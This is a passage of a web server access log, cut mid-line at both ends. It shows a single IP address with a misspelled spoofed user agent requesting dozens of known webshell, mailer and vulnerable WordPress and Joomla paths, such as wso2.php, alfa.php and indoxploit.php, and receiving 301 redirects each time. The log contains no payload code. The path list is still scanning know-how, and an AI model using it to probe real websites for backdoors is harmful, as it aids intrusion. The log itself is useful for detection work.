Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:42 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:45 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:47 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:50 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:52 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:56 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:04 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:08 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:13 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:17 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:21 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:24 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:28 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:34 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:40 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:43 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:46 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:50 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:54 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:56 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:50:59 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:02 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:03 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:08 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:11 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:15 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:19 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:23 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:29 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:35 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:40 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:42 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:46 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:48 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:53 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:56 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:51:58 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:02 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:06 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:09 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:14 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:19 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:21 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:26 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:29 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:34 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:38 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:42 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:46 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:50 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:55 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:52:58 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:05 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:12 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:16 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:22 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:29 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:41 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:45 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:47 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:51 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:53:55 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:01 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:04 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:08 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:12 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:16 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:19 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:24 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:27 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:30 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:33 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:35 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:38 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:45 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:51 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:54 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:54:58 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:01 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:07 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:10 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:14 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:21 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:26 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:29 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:35 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:38 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:40 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:44 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:48 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:53 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; 